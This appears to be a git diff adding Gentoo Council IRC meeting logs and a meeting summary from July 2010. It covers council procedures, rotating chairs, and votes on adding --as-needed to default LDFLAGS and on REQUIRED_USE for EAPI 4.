+19:23 <@Halcy0n> We will use bugzilla for tracking council issues (no restrictions), and will look at the webapp when it is declared complete?
+19:23 <@Betelgeuse> idl0r: Can we hide products?
+19:23 <@Betelgeuse> I wouldn't open a new product for Council and use it for a month if it would stay there indefinetely.
+19:24 <@jmbsvicetto> can we move forward?
+19:24 <@Chainsaw> jmbsvicetto: I would like that.
+19:25 <@jmbsvicetto> so should we have a section on all meetings to check the status of open bugs?
+19:25 <@jmbsvicetto> So that we can keep track of issues assigned to council and what is happening on them?
+19:25 <@Chainsaw> jmbsvicetto: Yes.
+19:25 <@scarabeus> of course we should check our work
+19:25 < idl0r> Betelgeuse: no, at least not in bugzilla-2. in bugzilla-3 dunno
+19:25 <@scarabeus> we could also use voting there
+19:25 < idl0r> Betelgeuse: but restricting bugs is possible
+19:25 <@jmbsvicetto> this would obviously be done in the future for the webapp (if / when we get it)
+19:26 <@Halcy0n> I don't know if we would want to check them every time, perhaps setting deadlines and revisiting those issues when the deadline has been reached?
+19:26 <@jmbsvicetto> Halcy0n: if something is still inside a deadline, we can lose 30 seconds just stating that ;)
+19:26 <@Chainsaw> It's good to have the reminder.
+19:27 <@jmbsvicetto> Should we try to have one council member directly responsible for each bug? So there's an individual responsibility beyond the team collective responsibility?
+19:27 <@wired> sounds good
+19:27 <@Chainsaw> Yes, that makes sense.
+19:28 <@scarabeus> but we should not force it, maybe voting in bugzilla, people can use popular bugs that we could take
+19:28 <@ferringb> holy backlog ;)
+19:28 <@scarabeus> people might open bugs but there might be even more important ones (by the voting it can be determined)
+19:28 <@jmbsvicetto> Hi Brian
+19:28 <@wired> ferringb! :)
+19:29 <@ferringb> sorry, in the midst of a release
+19:29  * ferringb goes back to catching up
+19:30  * wired fetches some water
+19:31 <@scarabeus> ok i think both are good ideas
+19:31 <@scarabeus> anyone against
+19:31 <@scarabeus> discussion about bug progress should happen on each meeting.
+19:31 <@scarabeus> each bug will have assigned named council member that should be responsible for its implementation.
+19:31 <@scarabeus> this can also utilize bugzilla voting metod, if used by developers.
+19:31 <@scarabeus> from summary
+19:31 <@Halcy0n> sounds good to me
+19:31 <@wired> +1
+19:31 <@jmbsvicetto> +1
+19:32 <@Chainsaw> Summary agreed, next item?
+19:32 <@wired> > ability to have 2nd monthly / impromptu meetings when required
+19:32 <@jmbsvicetto> are we willing to have a 2nd meeting per month or an improptu meeting when required?
+19:32 <@jmbsvicetto> Do we need to state that or is that a given?
+19:32 <@Betelgeuse> Ddin't we agree to meet every second week already?
+19:33 <@jmbsvicetto> We said we would meet at the 2nd Monday of the onth
+19:33 <@jmbsvicetto> month*
+19:33 <@scarabeus> we can have any  meeting during the month
+19:33 <@Chainsaw> And anything extra can be agreed at one of those meetings.
+19:33 <@scarabeus> but i would like at least week headsup
+19:33 <@Chainsaw> Yes, a week notice is the minimum I would need.
+19:33 <@scarabeus> like 8.8. -> announce meeting for 15.8. due to nuclear holocaust
+19:34 <@ferringb> week headup is a requirement for me
+19:34 <@Halcy0n> Same
+19:34  * ferringb notes he can swing impromptu's, but that's an exception, not a rule
+19:34 <@jmbsvicetto> Do we want to make any statement about this or just discuss it if / when it becomes needed?
+19:34 <@Chainsaw> Okay, we meet every second Monday at 19:00 UTC until further notice. 1 week notice required for any changes.
+19:34 <@Betelgeuse> I don't have other duties at these hours.
+19:35 <@ferringb> if/when works for me personally
+19:35 <@Chainsaw> All in favour?
+19:35 <@Halcy0n> fine by me
+19:35 <@Betelgeuse> sure
+19:35 <@scarabeus> aye
+19:35 <@jmbsvicetto> ok
+19:35 <@wired> 1 week notice is fine by me
+19:35 <@jmbsvicetto> next?
+19:36 <@scarabeus> secretary/chair
+19:36 <@jmbsvicetto> Do we want a secretary?
+19:36  * jmbsvicetto looks at tanderson 
+19:36 <@scarabeus> we need chair, i am willing to do it, but we might want to rotate so all of us will have the fun?
+19:36 -!- rokybid [~foolio@67.220.166.250] has joined #gentoo-council
+19:36  * tanderson is expected to give some form of answer
+19:36 <@wired> i think the wave thing is working for summaries
+19:36 <@scarabeus> quite well isn't it?
+19:37 <+tanderson> whatever you decide, don't make a non-council member the chair
+19:37 <@wired> i think chairing can be decided per-meeting
+19:37 <+tanderson> what wave thing?
+19:37 <@Halcy0n> Rotating amongst ourselves (those that want to), should work fine.  Using wave for the summaries is working nicely.
+19:37 <@Chainsaw> tanderson: That overhyped google wiki.
+19:37 <@Halcy0n> tanderson: Google Wave
+19:37 <+tanderson> yeah, how are you using it?
+19:37 <@wired> tanderson: we are using google wave to interactively create the summary
+19:37 <@scarabeus> right now we are writting summary
+19:37 <@jmbsvicetto> The wave thing is working, but if we want to use it to all meetings, we should assure all council members are either willing to use it or to have it used
+19:38 <@wired> during this meeting
+19:38 <+tanderson> ooh, but with that, you don't need a secretary doing stuff, correct?
+19:38 <@wired> jmbsvicetto: wave does *not* require a google account now, that should make things easier
+19:38 <@Betelgeuse> jmbsvicetto: We don't need all council members there.
+19:39 <@Halcy0n> Really we only need a few of us to ensure it gets done.
+19:39 <@jmbsvicetto> Betelgeuse: sure, but we must check if someone objects to its use, no?
+19:39 <@Betelgeuse> jmbsvicetto: Whatever gets the job done.
+19:39 <@ferringb> same from my stance.
+19:39 <@Betelgeuse> jmbsvicetto: It's better to not have everyone there so discussion doesn't spill there.
+19:39 <@jmbsvicetto> I'm fine with using wave
+19:39 <@Halcy0n> same
+19:40 -!- rokybid [~foolio@67.220.166.250] has quit [Read error: Connection reset by peer]
+19:40 <@wired> great
+19:40 <@jmbsvicetto> If we're ok with wave, that takes care of summaries. What about agendas and initial email warning about a meeting?
+19:40 <@Chainsaw> I'm not opposed to wave, but I'm unlikely to participate.
+19:40 <@wired> we just need to make sure that someone will commit the summaries each time :P
+19:41 <@scarabeus> that should be done by last months chair
+19:41 <@scarabeus> jmbsvicetto: ^
+19:41 <@Betelgeuse> wired: we could end the meeting officially with that
+19:41 <@jmbsvicetto> I think the person being chair for a meeting should take care of the agenda and initial email - which means the chair should be chosen before a meeting
+19:41 <@scarabeus> the agenda for next meeting + commiting current stuff we have
+19:42 <@wired> i like scarabeus' recommendation. he who chairs is responsible for next time
+19:42 <@jmbsvicetto> I'm willing to be chair on a rotating basis
+19:42  * wired too
+19:42 < NeddySeagoon> choose the chair for the next meeting at the end of the current one or on the ml
+19:42 <@Halcy0n> Same, to both
+19:42 <@ferringb> duck duck goose?
+19:43 <@Chainsaw> Selecting at the end of the meeting makes a lot of sense.
+19:43 <@scarabeus> but end meeting selection makes really lots of sense
+19:43 <@Chainsaw> And yes, I too share an ambition to one day be a rotating chair.
+19:43 <@jmbsvicetto> so the chair for a meeting will be chosen at the end of the previous meeting. Does everyone accept?
+19:43 <@Betelgeuse> yes
+19:43 <@wired> yeah
+19:43 <@Chainsaw> jmbsvicetto: Agreed.
+19:43 <@Halcy0n> +1
+19:44 <@jmbsvicetto> and the chair will be responsible for sending the initial email and setting up the agenda
+19:44 <@jmbsvicetto> can we move to the next point: allowing council members to present issues they'd like to see addressed this term?
+19:44 <@wired> great
+19:45 <@jmbsvicetto> anyone wants to start?
+19:45 <@Chainsaw> Yes. Death to (the official status of) overlays.
+19:45 <@Chainsaw> Development happens in the tree where everyone can QA it.
+19:46 <@Chainsaw> If it is "not done yet", you mask it.
+19:46 <@scarabeus> Chainsaw: it cant happen, imagine kde-base +600 weirdly broken ebuilds...
+19:46 <@scarabeus> but we can move to unofficial
+19:46 <@jmbsvicetto> Chainsaw: you're going to face some opposition about that
+19:46 <@Chainsaw> jmbsvicetto: I know.
+19:47 <@wired> it could happen
+19:47 <@wired> but not with cvs :p
+19:47 <@Chainsaw> scarabeus: I'm not saying don't use overlays. I'm saying don't have official overlays. Only take bugs about what is in the tree.
+19:47 <@Chainsaw> scarabeus: Using them for staging and then moving your ebuilds to the tree in good time makes sense.
+19:47 <@scarabeus> Chainsaw: so you probably dont like gnome approach
+19:47 <@scarabeus> we do mostly 0days
+19:47 <@Chainsaw> scarabeus: Having official overlays with bugs in the tracker and ebuilds that never make it to the tree are not.
+19:48 <@jmbsvicetto> Chainsaw: I suggest we leave discussions for future meetings ;)
+19:48 <@scarabeus> yeah lets not argue now, just show our visions :]
+19:48 <@jmbsvicetto> Chainsaw: Any other issue you'd like us to address in this term?
+19:48 <@Chainsaw> jmbsvicetto: Unmaintained packages.
+19:48 <@jmbsvicetto> what about them?
+19:48 <@Chainsaw> jmbsvicetto: I'd like a documented procedure to take an unloved package over with a set limit.
+19:49 <@jmbsvicetto> So discuss rules (policy) about unmaintained packages?
+19:49 <@Chainsaw> jmbsvicetto: If the maintainer fails to respond in say... 1 week, you take it over and there is no song & dance about it later. </example>
+19:49 <@Chainsaw> jmbsvicetto: And you use a bug for this, so there is an official record.
+19:50 <@scarabeus> oh not taking mn packages
+19:50 <@scarabeus> but overtaking from someone else
+19:50 <@Chainsaw> From a maintainer that has apparently lost interest, should be retired but isn't yet, etc.
+19:50 <@scarabeus> oka
+19:50 <@scarabeus> anything else?
+19:50 <@Chainsaw> Packages in limbo that under the current rules, you can't really touch. But that you rely on for business. Asterisk comes to mind.
+19:50 <@jmbsvicetto> in that case you want to review the current policy about package maintainance
+19:50 <@Chainsaw> No, that's my two super-controversial proposals out.
+19:51 <@Chainsaw> Someone else can have a go now.
+19:51 <@scarabeus> jmbsvicetto: how about you
+19:51 <@jmbsvicetto> ok, I want to continue the work to review GLEP39 and Gentoo's metastructure
+19:52 <@scarabeus> ok everyone knows whats that :]
+19:52 <@scarabeus> anything else?
+19:52 <@jmbsvicetto> and to study and promote ways to allow more involvement from community
+19:52 <@jmbsvicetto> I don't have any particular issues for now
+19:53 <@jmbsvicetto> scarabeus: you?
+19:53 <@scarabeus> ok so lets talk about my shiny hat:
+19:53 <@scarabeus> 1) qa and its involvement (that is probably on marks hat too, i want to bash people more for commiting crap simply put)
+19:53 <@scarabeus> 2) PR reviwe GWN
+19:54 <@scarabeus> with the hard push on the W, because it is manageable in few people
+19:54 <@scarabeus> We desperately need PR and global knowledge
+19:54 <@scarabeus> people really think we are dead if i go on few confs and stuff :]
+19:54 <@Chainsaw> I'm on-board with the QA proposal.
+19:54 <@Chainsaw> PR is not my thing, but I won't be in your way.
+19:54 <@Chainsaw> (Although I can probably help if you want to publish an article in our HotLINX newsletter)
+19:55 <@scarabeus> i actualy already have people that will translate it to cze and probably publish it on largest linux emagazine in cze, so at least in cze we are covered :P
+19:55 <@scarabeus> i just need to really organise what will be on it
+19:56 <@Chainsaw> The magazine we publish goes to people in the ISP industry.
+19:56 <@scarabeus> Chainsaw: sweet
+19:56 <@Chainsaw> It's a completely different audience that you might want to touch on.
+19:56 <@scarabeus> well isp is one of those guys who have large pc infrastructures so they are target :]
+19:56 <@scarabeus> but anyway that is not for this summary show, so who is next
+19:56 <@ferringb> re: pkg takeover, it should be more ability to do work on it... takeover being a bit longer imo
+19:57 <@scarabeus> ferringb: so what are your plans, since you talks
+19:57 <@scarabeus> s//
+19:57 <@Halcy0n> I just want to point out that we are about to run out of time. :)
+19:58 <@scarabeus> yeah
+19:58 <@Chainsaw> So, next item please?
+19:59 <@Halcy0n> I don't think we are finishing anything in 2 minutes. :)  I have my boss waiting to talk to me :)
+19:59 <@ferringb> scarabeus: plans re: takeover... basically I'd leave that to tree policy, aka QA to some degree.  let the community sort it out ;)
+19:59 <@ferringb> Halcy0n: same
+19:59 <@scarabeus> ferringb: not thoughts about those plans :P your plans :P
+19:59 <@scarabeus> i guess jorge want us to say : i want to do a and hopefully b
+19:59 <@scarabeus> thats it
+19:59 <@scarabeus> one sentence to put to summary
+20:00 <@ferringb> scarabeus: long term plans council wise, I'd like to have the council slightly less involved day/day community wise- light touch approach basically.  cardoe does have a point in my opinion- we don't need to be involved in every little thing
+20:01 <@scarabeus> Halcy0n: you?
+20:01 <@ferringb> scarabeus: technical side of it, PMS will be a bit of a focus obviously for me ;)
+20:01 <@jmbsvicetto> sorry, I lost my internet connection for the past 5 minutes
+20:01 <@wired> I want to make sure we as a council are decisive and effective throughout our term, making good decisions :)
+20:01 <@Chainsaw> Halcy0n: A bigger QA banhammer, yes?
+20:02 <@Halcy0n> Yes, and work on making it easier for people to know how to join/help out.  Basically involving the community more.
+20:02 <@Betelgeuse> Halcy0n: What would be needed beyond current powers?
+20:03 <@Halcy0n> I don't really have time right now to discuss it, but I have some ideas that would drastically change recruitment that I would like to propose to the dev community as a whole.
+20:03 <@Betelgeuse> Halcy0n: There's a GSoC project for that too.
+20:03 <@jmbsvicetto> Do we want to continue the meeting or do we need to finish it in a few minutes?
+20:04 <@Chainsaw> I have a need to vacate this building in roughly 15 minutes.
+20:04 <@Chainsaw> So if we could not start anything that will take a long time to complete, I'd appreciate it.
+20:04 <@scarabeus> Betelgeuse: and your plans? if not secrit?
+20:04 <@jmbsvicetto> I would like to give a chance for the community to present any ideas it has - next point
+20:05 <@jmbsvicetto> I can leave the discussion about --as-needed and required-use for the next meeting
+20:05 <@scarabeus> jmbsvicetto: no discussion, i want vote
+20:05 <@Betelgeuse> scarabeus: I'll probably be busy with putting the GSoC results to use for most part of the year.
+20:05 <@scarabeus> there is nothingreally to discuss about as needed
+20:05 <@Betelgeuse> scarabeus: Then mostly PM stuff.
+20:05 <@jmbsvicetto> I don't need to leave for anything, so I can be around for a long while if someone wants to continue the meeting
+20:05 <@scarabeus> Betelgeuse: oky
+20:06 <@Chainsaw> scarabeus: I am fully in favour of as-needed being introduced into profiles. As a demonstration of my commitment to your cause: https://issues.asterisk.org/view.php?id=14671
+20:06  * ferringb really needs to get back to work
+20:06 <@ferringb> jmbsvicetto: leaving them to the next meeting makes the most sense imo anyways
+20:07 <@jmbsvicetto> ok. Anyone else wants to present his ideas for this term?
+20:07 <@jmbsvicetto> are we missing anyone?
+20:07 <@scarabeus> jmbsvicetto: we have everyone
+20:07 <@jmbsvicetto> ok
+20:07 <@Betelgeuse> I want to stop global warming.
+20:07 <@scarabeus> so community what do you want? :]
+20:07 <@jmbsvicetto> If someone is willing to stay a few more minutes, I'd like to give a chance for the community to present their requests (next agenda itme)
+20:08 <@jmbsvicetto> item*
+20:08 <@Chainsaw> I can stay a few more minutes.
+20:08 <@wired> lets decide who's chairing the next one first
+20:08 <@Chainsaw> But not very long. So please proceed.
+20:08 <@Chainsaw> wired: You are.
+20:08  * scarabeus rises hand
+20:08 <@scarabeus> if nobody else wants
+20:08 <@wired> Chainsaw: really? I thought it was you! heheh :p
+20:09 <+tanderson> I'd like to get a guarantee from the council that decisions will be made based solely on the merit of proposals, not based in any way on anything to do with the person making the proposal.
+20:09 <@jmbsvicetto> as this was a special meeting and I did send the original email, I'll commit the summary for the meeting
+20:09 <@scarabeus> tanderson: i listen even to ciaran, if it makes sense
+20:10 <@scarabeus> jmbsvicetto: for NEXT meeting ;]
+20:10 <@Chainsaw> Yes, wired chairs the next meeting.
+20:10 <@Chainsaw> So, was there anything else?
+20:10 <+tanderson> my question.
+20:10 <@ferringb> open it up to the community imo
+20:10 <@scarabeus> nope most of you can disappear if needed, we will sit around and wait for the comunity to talk with us :]
+20:11 <@wired> lmao :) alright
+20:11 <@Chainsaw> tanderson: All I care about is the proposal itself. Even if you submitted it, I'd still look at seriously. Okay?
+20:11 <+tanderson> I'm not talking about me, but point taken.
+20:12 <@jmbsvicetto> scarabeus: I'll submit the summary for this meeting.
+20:12 <@scarabeus> okay
+20:12 <@jmbsvicetto> So who's going to be next meeting's chair? wired or scarabeus ?
+20:12 <@Chainsaw> jmbsvicetto: wired.
+20:12 <@wired> i'll do it
+20:12 <@scarabeus> ok
+20:12 <@Chainsaw> tanderson: I know you aren't. But I'm glad you understand :)
+20:14 <@jmbsvicetto> So if someone else has anything to suggest to the council, feel free to do so
+20:14 <@Chainsaw> We will listen!
+20:14 <@scarabeus> isn't mute on?
+20:14 <@Chainsaw> Please speak...
+20:14 <@Chainsaw> scarabeus: I don't see a +m, no. They've just been very well behaved.
+20:14 <@scarabeus> we feel lonely
+20:14 <+tanderson> scarabeus: no.
+20:14 <@jmbsvicetto> I suggest we give 30 minutes before closing the summary
+20:14 <@scarabeus> tell us something
+20:14 < dleverton> "wired chairs the next meeting" sounds like you're going to bring in electric chairs for all the council members
+20:14 <@scarabeus> i will show you my friendly face if you will talk :]
+20:14 < dleverton> Does that count?
+20:15 <@jmbsvicetto> In the meanwhile, is there any other business?
+20:15 <@Chainsaw> scarabeus: Or they have all been watching amusing pictures of cats on the internet. Who knows.
+20:15 <@scarabeus> dleverton: ok, my friendly look http://hlukotvor.blesmrt.net/~scarab/fotky/IMAG0017.jpg :D
+20:16 <@jmbsvicetto> If not, let's consider the meeting over, but consider any suggestions in the next 30 minutes in the summary
+20:16 -!- thrice` [thrice@unaffiliated/thrice/x-000000001] has left #gentoo-council []
+20:16 <@Chainsaw> I have to alarm this building in 4 minutes.
+20:16 <@Chainsaw> So I shall leave now.
+20:17 <@scarabeus> Chainsaw: cya
+20:17 <@Chainsaw> Thank you all for a productive meeting, and I look forward to seeing you again next week.
+20:17 <@wired> cya Chainsaw
+20:17 -!- Chainsaw [~chainsaw@gentoo/developer/atheme.member.chainsaw] has quit [Remote host closed the connection]
+20:20 <@scarabeus> so guys, is it so hot at your places too?
+20:20 <@scarabeus> 37 degrees in shade today
+20:20 <@scarabeus> :]
+20:20 <@scarabeus> (maybe someone will start talking)
+20:22 < dleverton> Was pretty dreary here
+20:22 <@ferringb> heat finally broke for us on the weekend... 70F, down from near 100F last week
+20:22 < dleverton> Didn't go out today though
+20:22 < dleverton> Actually a nice change from the heat
+20:22 < dleverton> O
+20:23 < dleverton> *(Probably never counted as "heat" by your standards in the first place)
+20:23 -!- Halcy0n [~halcy0n@gentoo/developer/halcyon] has quit [Quit: leaving]
+20:23 <@scarabeus> that is quite nice :]
+20:23 <@scarabeus> also note i speak in Celsius of course :P
+20:23 <+tanderson> thunderstorms here, 29 :)
+20:24 <@scarabeus> dleverton: apropos, i look friendly dont i? :]
+20:24 < dleverton> Hard to tell behind the face-paint :-P
+20:24 <@wired> the new council meeting time is now reflected on google gentoo calendar :)
+20:25 <@scarabeus> sweet i should start using google calendar :D
+20:25 <@wired> scarabeus: you have android, you should be using it already :p
+20:25 <@scarabeus> wired: stop doing that for me
+20:25 <@scarabeus> i disabled it
+20:25 <@scarabeus> :D
+20:25 <@wired> scarabeus: re-enable it :P
+20:26 <@scarabeus> jmbsvicetto: btw i think that open  30 minutes are useless, it is 20 now and nobody spoke up, it wont change...
+20:26 <@wired> scarabeus: also install the "Android Agenda Widget", it rocks :)
+20:26 <@wired> indeed, lets end this here
+20:26 <@jmbsvicetto> ok
+20:26 <@jmbsvicetto> http://dpaste.com/218207/ <- proposed summary
+20:27 <@jmbsvicetto> we had another clear day here
+20:27 <@scarabeus> aye aye sir
+20:28 <@wired> looks good
+20:28 <@jmbsvicetto> ok, I'm going to commit that, right after I have my dinner
+20:28 <@jmbsvicetto> So let's call the meeting closed
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20100726-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20100726-summary.txt
new file mode 100644
index 00000000..cb5c9667
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20100726-summary.txt
@@ -0,0 +1,61 @@
+Gentoo Council 2010-07-26 meeting agenda / summary:
+
+*** meeting outcome marked with "->" ***
+
+* allow all members to show up (5 min)
+	-> betelgeuse   here
+	-> chainsaw     missing (1st absence)
+	-> ferringb     here, left after an hour (before ML discussion)
+	-> halcy0n      missing (1st absence)
+	-> jmbsvicetto  here
+	-> scarabeus    here
+	-> wired        here
+
+** vote **
+	add --as-needed to default profile's LDFLAGS
+		-> passed (unanimous vote)
+			scarabeus will create a news item,
+			ssuominen already pushed the actual change :D
+
+** discuss / vote **
+	* required-use: http://dev.gentoo.org/~ferringb/required-use.html
+		-> accepted by all members
+
+	* review eclass removal policy
+		should it be 2 years since portage 2.1.4.4 went stable?
+			-> all members agreed on removing the 2 year policy
+			-> QA will write a devmanual patch with a 30+ minimum lastrite period for eclass removals
+
+	* should there a policy about eclass API changes?
+		-> we didn't reach a decision here, talk will continue in the mailing lists
+
+	* use of invalid DEPEND atom "EAPI_TOO_OLD" instead of calling die in global scope on eclasses
+		http://archives.gentoo.org/gentoo-dev/msg_dee3aab5e8c840ed3fa4add9c7d74b97.xml and replies
+			-> the council opted for calling die instead of using the invalid DEPEND and required
+				a patch to devmanual and PMS (ferring will do the devmanual patch)
+
+	* mailing lists
+		should we post council agenda to -council? -dev? -project?
+		Some devs suggest we should cross-post to -dev and -council
+			but not everyone likes cross-posting as it can lead to fragmentation.
+		Petteri suggested punting -council and using -project instead
+			-> there was a vote on punting -council that ended in a 2-2 tie (ferringb had left)
+				jmbsvicetto and wired voted against, betelgeuse and scarabeus voted in favor
+			-> discussion will be continued in the mailing lists
+
+* go through bugs assigned to council@g.o
+	http://bugs.gentoo.org/buglist.cgi?quicksearch=assignedto,cc:council@gentoo.org
+
+	bug #234706
+		-> ask Halcy0n if he wants to resume work on this bug
+	bug #256451
+		-> ask ferringb if he still wants to do it
+	bug #256453
+		-> wired will take care of this
+	bug #237381
+		-> jmbsvicetto will take care of this
+
+* open floor: listen to developers
+	-> no input...
+
+-> scarabeus will chair the next meeting
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20100726.txt b/xml/htdocs/proj/en/council/meeting-logs/20100726.txt
new file mode 100644
index 00000000..5755ea47
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20100726.txt
@@ -0,0 +1,473 @@
+[21:52:12] <jmbsvicetto> Hello
+[21:52:57] <wired> Hey
+[21:58:45] <jmbsvicetto> wired: so you'll run this meeting, right?
+[21:58:49] <wired> yeah
+[21:59:00] <wired> in roughly one minute
+[21:59:01] <wired> :p
+[21:59:04] <jmbsvicetto> wired: if you need I have logs
+[21:59:05] *** Joins: Betelgeuse (~betelgeus@gentoo/developer/Betelgeuse)
+[21:59:19] <wired> jmbsvicetto: thanks, I log too
+[21:59:53] <wired> jmbsvicetto: i've switched the wave to summary mode (and created a stupid copy as well that i trashed :p)
+[22:00:00] <ferringb> e'yo.
+[22:00:07] * ferringb has a meeting at 1pm on a sidenote
+[22:00:13] <ferringb> aka, hour from now
+[22:00:21] <wired> and its time :)
+[22:00:22] * scarabeus here
+[22:00:28] <Betelgeuse> yes
+[22:00:37] * scarabeus can use only one hand, so he will be really quiet man today :]
+[22:00:49] <jmbsvicetto> here
+[22:00:52] *** Joins: NeddySeagoon (~NeddySeag@gentoo/developer/NeddySeagoon)
+[22:01:30] <wired> lets wait the standard 5m for halcy0n and chainsaw 
+[22:01:43] <wired> agenda: http://archives.gentoo.org/gentoo-council/msg_620cb09e78b4e7d9997c45eb204f7fd7.xml
+[22:02:42] *** wired changes topic to 'congrats to the new council. ferringb, halcy0n, jmbsvicetto, chainsaw, betelgeuse, scarabeus, wired || meeting now - agenda: "save" => Array(20100726 19:00.00 UTC - http://dev.gentoo.org/~wired/localtime.php?time=1900 || following 20100809 19:00.00 UTC'
+[22:02:46] <wired> 			"type" => 9,
+[22:02:49] <wired> 			"reset" => true
+[22:02:51] <wired> 		)
+[22:02:54] <wired> bah
+[22:02:58] <scarabeus> interesting :D
+[22:03:24] *** wired changes topic to 'congrats to the new council. ferringb, halcy0n, jmbsvicetto, chainsaw, betelgeuse, scarabeus, wired || meeting now - agenda: http://bit.ly/dmARrD || following 20100809 19:00.00 UTC'
+[22:03:25] <ferringb> anyone got the wave for this time around?
+[22:03:35] <wired> ferringb: sure, want an invite?
+[22:03:44] <wired> its the old agenda one
+[22:03:45] <ferringb> might as well try the new hawtness
+[22:03:59] * ferringb only has the summary
+[22:04:01] <wired> ferringb: which mail should i invite?
+[22:04:06] <ferringb> @gmail
+[22:04:15] <ferringb> @gentoo just fwds to that account
+[22:04:23] <wired> done
+[22:04:38] * ferringb only uses @gentoo when needing to sound official while being a pompous ass, rest of the time he just uses @gmail when being a pompous ass
+[22:04:39] <wired> ah your gentoo was already invited :p
+[22:04:53] <jmbsvicetto> wired: if you're using the same, I sent an invite to ferringb
+[22:05:07] <wired> jmbsvicetto: we sent to both mails hehe
+[22:05:16] <NeddySeagoon> is five of you a quorum ?
+[22:06:15] <wired> it should be fine. not optimal, but oh well
+[22:06:48] <jmbsvicetto> NeddySeagoon: iirc, the quorum is 50% + 1
+[22:06:50] <scarabeus> well we should be, more than 50% of us is around
+[22:06:54] <wired> so...
+[22:06:58] <wired> shall we begin?
+[22:07:06] <scarabeus> yy
+[22:07:20] <NeddySeagoon> jmbsvicetto, tha depends on the rules.  if its not in glep-39, its whatever you want
+[22:07:35] <jmbsvicetto> wired: let's go
+[22:07:43] <wired> lets begin with --as-needed
+[22:07:55] <wired> * add --as-needed to default profile's LDFLAGS
+[22:08:13] <Betelgeuse> NeddySeagoon: GLEP 39: Council decisions are by majority vote of those who show up (or their proxies).
+[22:08:36] <jmbsvicetto> NeddySeagoon: ok, I see two rules:
+[22:08:37] <jmbsvicetto> Council decisions are by majority vote of those who show up (or their proxies).
+[22:08:40] <Betelgeuse> And at least 50& must be here.
+[22:08:46] <jmbsvicetto> f any meeting has less than 50% attendance by council members, a new election for all places must be held within a month. The 'one year' is then reset from that point.
+[22:08:47] <scarabeus> and if less 50% is around then we are all scrapped
+[22:08:53] <jmbsvicetto> so > 50%
+[22:08:55] <wired> so we are fine
+[22:09:05] * ferringb notes we might want to look at a different day of the week down the line btw... can take that discussion offline, but monday at noon is proving to be murder for myself (suspect I'm not the only usian hit b that)
+[22:09:10] <jmbsvicetto> Betelgeuse: sorry for repeating you
+[22:09:13] <ferringb> *by.  that said... lets get the show on the road. ;)
+[22:09:20] <wired> ferringb: we can talk about that later
+[22:09:35] <Betelgeuse> ferringb: I am waiting to get to bed :)
+[22:09:50] <wired> lets begin by voting on adding --as-needed to default profile
+[22:10:00] * scarabeus says aye captain'
+[22:10:04] <ferringb> yay to getting to voting, and yay for --as-needed in default profile.
+[22:10:09] <scarabeus> which means, yes for as-needed
+[22:10:10] <wired> I vote yes :)
+[22:10:48] <wired> Betelgeuse / jmbsvicetto ?
+[22:11:05] <jmbsvicetto> wired: let's go
+[22:11:29] <jmbsvicetto> I vote yes for adding --as-needed in default profile
+[22:11:41] <ssuominen> Want me to implent it right now? :)
+[22:11:44] <Betelgeuse> I don't have anything against adding it. I didn't check if anyone ever did sanity checks with it.
+[22:11:53] <scarabeus> Betelgeuse: we in qa do them :]
+[22:11:55] <wired> Betelgeuse: a lot of people did
+[22:12:05] <scarabeus> Betelgeuse: well mostly ssuominen ;]
+[22:12:15] <wired> ok
+[22:12:20] <wired> its approved
+[22:12:24] <wired> ssuominen: go ahead :)
+[22:12:44] <wired> next item
+[22:12:48] <Betelgeuse> Should we write a GLEP 42 news item?
+[22:13:04] <ferringb> yes
+[22:13:12] <jmbsvicetto> Betelgeuse: To match what? ;)
+[22:13:12] <wired> Betelgeuse: good idea
+[22:13:22] <scarabeus> but what should trgger it :]
+[22:13:27] <Betelgeuse> scarabeus: everything
+[22:13:28] <wired> everything
+[22:13:29] <Betelgeuse> or everyone
+[22:13:36] <jmbsvicetto> Betelgeuse: I'd say an annoucement through the usual ways, would work
+[22:13:38] <scarabeus> but quite few people have asneeded already
+[22:13:51] <jmbsvicetto> scarabeus: I have
+[22:13:56] <Betelgeuse> scarabeus: it's not a big burden to read it.
+[22:14:03] <Betelgeuse> scarabeus: or just skip based on the name
+[22:14:14] <scarabeus> i am not against it
+[22:14:41] <Betelgeuse> I propose the news item should be approved and in circulation before profiles are changed.
+[22:14:41] <scarabeus> but it can go even after it is enabled in portage, because it does not change anything for the user pov in first time until he does -e :]
+[22:14:59] <Betelgeuse> Mainly to ensure it gets done.
+[22:15:09] <scarabeus> oh that is good reason
+[22:15:21] <wired> who wants to prepare the news item?
+[22:15:28] <scarabeus> ok sounds sane, its 72 hours right?
+[22:15:46] <scarabeus> ssuominen: i think we will manage to write up something, rite?
+[22:16:15] <scarabeus> he he :D
+[22:16:23] <wired> ok scarabeus it is
+[22:16:25] <Betelgeuse> scarabeus: yes
+[22:16:32] <wired> i'll help too
+[22:16:47] <scarabeus> you guys really dont track commits huh? :]
+[22:17:09] <jmbsvicetto> ssuominen was too quick
+[22:17:16] <ssuominen> hu...
+[22:17:18] <scarabeus> he got approval
+[22:17:25] <wired> lol
+[22:17:26] <scarabeus> anyway lets implement the message  then
+[22:17:27] <ssuominen> I hit commit about when wired said go for it :)
+[22:17:28] <scarabeus> and just add it
+[22:17:31] <wired> thats fine, we'll write the message today
+[22:17:34] <wired> so its cool
+[22:17:51] <scarabeus> so lets move for next topic, i will ensure this will happen ok :]
+[22:17:54] <wired> great
+[22:18:08] <wired> * required-use: http://dev.gentoo.org/~ferringb/required-use.html
+[22:19:03] <jmbsvicetto> ferringb: few already implemented the code for portage, right?
+[22:19:07] <ferringb> yep
+[22:19:16] <ferringb> reasonably quick for me to do in pkgcore
+[22:19:28] <jmbsvicetto> dleverton_: Has anyone worked on it for paludis?
+[22:19:30] <ferringb> paludis should have rough machinery for this already via exheres MYOPTIONS
+[22:19:37] * scarabeus likes the idea
+[22:19:44] <wired> it loosk good
+[22:19:49] <wired> and will solve many current problems
+[22:19:50] <dleverton_> jmbsvicetto: don't think so
+[22:19:53] <jmbsvicetto> I like the idea
+[22:19:55] <Betelgeuse> We would approve final EAPI 4 text any way before it goes official.
+[22:20:02] <Betelgeuse> so I guess we are voting on the idea any way.
+[22:20:08] <ferringb> pretty much.
+[22:20:11] <wired> Betelgeuse: yeah
+[22:20:22] <jmbsvicetto> ok, +1 from me on using it
+[22:20:23] <ferringb> note between now and eapi 4 final, if someone has a better name... might be worth considering.
+[22:20:29] <ferringb> that caveat stated, +1 from me obviously.
